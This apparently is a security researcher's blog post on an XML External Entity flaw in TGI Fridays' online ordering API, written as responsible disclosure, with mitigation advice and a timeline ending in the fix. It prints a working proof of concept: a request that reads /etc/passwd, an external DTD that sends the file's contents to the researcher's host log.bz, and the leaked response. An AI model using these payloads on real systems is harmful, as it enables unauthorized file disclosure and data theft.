TGI Friday’s is an american style restaurant chain that is popular not just in the United States, but also in other countries all over the world.

My initial interest sparked when I received a marketing email from TGI Fridays promoting their new online ordering system.

While they don’t have a bug bounty program, I still had contacts with them from the previous IDOR issue I found, so I figured it would be interesting to dive in deeper to this new system to see how it worked.

After adding a menu item into my cart, I visited the checkout page and noticed the content type in the POST request was Application/JSON and was returning JSON in the responses as well. After changing the content type to Application/XML, I was greeted with a 400 Bad Request response error containing the following JSON.

{ "success": false, "errors": [ { "type": "Server Error", "message": "Cant unmarshall input to class: com.tgifridays.ws.onlineorder.request.TgifCalculatedTotalsRequestWsDTO; nested exception is javax.xml.bind.UnmarshalException

- with linked exception:

[Exception [EclipseLink-25004] (Eclipse Persistence Services - 2.6.0.v20150309-bf26070): org.eclipse.persistence.exceptions.XMLMarshalException

Exception Description: An error occurred unmarshalling the document

Internal Exception: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 1; Content is not allowed in prolog.]" } ] } 1 2 3 4 5 6 7 8 9 { "success" : false , "errors" : [ { "type" : "Server Error" , "message" : "Cant unmarshall input to class: com.tgifridays.ws.onlineorder.request.TgifCalculatedTotalsRequestWsDTO; nested exception is javax.xml.bind.UnmarshalException

- with linked exception:

[Exception [EclipseLink-25004] (Eclipse Persistence Services - 2.6.0.v20150309-bf26070): org.eclipse.persistence.exceptions.XMLMarshalException

Exception Description: An error occurred unmarshalling the document

Internal Exception: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 1; Content is not allowed in prolog.]" } ] }

At this point my tail started wagging. Hello Java XML parser!

XML attacks are nothing new and have been around for a long time, but one particular attack I’ve used in the past is called an XML External Entity attack, or XXE.

The XXE attack targets applications that parse XML input and have a poorly configured XML parser.

The XML 1.0 data standard defines a concept called an entity, which is a storage unit of sorts. There are several types of entities, but one in particular is called an “external entity”. External entities can access local or remote content via a declared system identifier. The system identifier takes the form of a URI that can be dereferenced (accessed) by the XML processor when the entity is processed. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier.

XML input containing a reference to an “external entity” can lead to the disclosure of confidential data, Denial of Service (trying to read /dev/null or /dev/urandom), Server-Side Request Forgery (SSRF), Cross-Site Port Attacks (XSPA), aka port scanning from the perspective of the machine where the parser is located, and in some cases, Remote Code Execution (RCE) via “php://” or “expect://” URI’s.

I quickly realized that attempts to execute Out-of-Band XXE attacks made successful requests to my webserver. After some trial and error, I found I needed to include

<storeId></storeId> 1 < storeId > < / storeId >

tags in the request to get a response other than a generic error message. When trying to return the contents of the /etc/passwd file, I found it particularly interesting that attempts to use the “http://” URI for data exfiltration were met with parsing errors due to newline characters. At this point I was only able to get file enumeration.

A quick Google search led me to slides from a very awesome BlackHat 2015 presentation called FileCry – The New Age of XXE by Xiaoran Wang & Sergey Gorbaty. These slides led me to trying the “jar://” and “netdoc://” URI’s. The “jar://” URI didn’t seem to like the “

” character, but “netdoc://” ended up returning the contents of the file in the response underneath the error.

Here is the final PoC attack. I have redacted some of the contents of the response for obvious reasons.

The Request:

POST /tgifwebservices/v2/tgif/onlineorder/calculateTotals HTTP/1.1 Host: fdpapi.fridays.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/xml Authorization: Bearer 45ea25fe-3d85-4fe1-8d26-0c36e4ed1cc1 Referer: https://www.tgifridays.com/cart/ Content-Length: 208 origin: https://www.tgifridays.com Connection: close <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://log.bz/test2.dtd"> %dtd;]> <storeId>&send;</storeId> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST / tgifwebservices / v2 / tgif / onlineorder / calculateTotals HTTP / 1.1 Host : fdpapi . fridays . com User - Agent : Mozilla / 5.0 ( Macintosh ; Intel Mac OS X 10.11 ; rv : 50.0 ) Gecko / 20100101 Firefox / 50.0 Accept : application / json Accept - Language : en - US , en ; q = 0.5 Accept - Encoding : gzip , deflate , br Content - Type : application / xml Authorization : Bearer 45ea25fe - 3d85 - 4fe1 - 8d26 - 0c36e4ed1cc1 Referer : https : //www.tgifridays.com/cart/ Content - Length : 208 origin : https : //www.tgifridays.com Connection : close <? xml version = "1.0" encoding = "UTF-8" ?> < ! DOCTYPE test [ < ! ENTITY % file SYSTEM "file:///etc/passwd" > < ! ENTITY % dtd SYSTEM "http://log.bz/test2.dtd" > % dtd ; ] > < storeId > & send ; < / storeId >

My out-of-band server contained a dtd file with the following:

<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'netdoc://log.bz:6969/contents?%file;'>"> %all; 1 2 3 <? xml version = "1.0" encoding = "UTF-8" ?> < ! ENTITY % all "<!ENTITY send SYSTEM 'netdoc://log.bz:6969/contents?%file;'>" > % all ;

The Response:

HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 09 Jan 2017 23:28:30 GMT Content-Type: application/json Content-Length: 3107 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * { "success": false, "errors": [ { "type": "Server Error", "message": "Cant unmarshall input to class: com.tgifridays.ws.onlineorder.request.TgifCalculatedTotalsRequestWsDTO; nested exception is javax.xml.bind.UnmarshalException

- with linked exception:

[Exception [EclipseLink-25004] (Eclipse Persistence Services - 2.6.0.v20150309-bf26070): org.eclipse.persistence.exceptions.XMLMarshalException

Exception Description: An error occurred unmarshalling the document

Internal Exception: java.io.IOException: Can\u0027t find file for URL: netdoc://log.bz:6969/contents?root:x:0:0:root:/root:/bin/**SNIP**

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin ***SNIP***]" } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 HTTP / 1.1 400 Bad Request Server : nginx Date : Mon , 09 Jan 2017 23 : 28 : 30 GMT Content - Type : application / json Content - Length : 3107 Connection : close Access - Control - Allow - Credentials : true Access - Control - Allow - Origin : * { "success" : false , "errors" : [ { "type" : "Server Error" , "message" : "Cant unmarshall input to class: com.tgifridays.ws.onlineorder.request.TgifCalculatedTotalsRequestWsDTO; nested exception is javax.xml.bind.UnmarshalException

- with linked exception:

[Exception [EclipseLink-25004] (Eclipse Persistence Services - 2.6.0.v20150309-bf26070): org.eclipse.persistence.exceptions.XMLMarshalException

Exception Description: An error occurred unmarshalling the document

Internal Exception: java.io.IOException: Can\u0027t find file for URL: netdoc://log.bz:6969/contents?root:x:0:0:root:/root:/bin/**SNIP**

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin ***SNIP***]" } ] }

Remote Code Execution via “expect://” or “php://” URI’s was not possible in this case, but this type of attack still merited a very high severity.

The safest method to prevent these attacks is to completely disable external DTDs (External Entities) in the XML parser configuration. If it is not possible to disable DTDs completely, then external entities and external doctypes must be disabled in the way that’s specific to each parser.

More information on preventing XXE attacks can be found here: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

Disclosure Timeline

1/09/2017: Vulnerability Discovered.

1/09/2017: Sent initial email regarding the issue to Kathy Kotel, my contact from last time I discovered a vulnerability in TGI Fridays.

1/12/2017: Received response and sent detailed PoC report.

1/30/2017: Sent email checking on status.

2/07/2017: Resent email checking on status.

2/08/2017: Received reply that they have contacted the vendor and are working to get a timeline for the fix.

2/13/2017: Received confirmation that TGIF is actively working on the fix with the vendor. The anticipated timeline is by the end of February.

3/01/2017: Issue is fixed.

I would like to thank Kathy Kotel and the TGI Fridays IT Team for their rockstar efforts to quickly resolve this issue.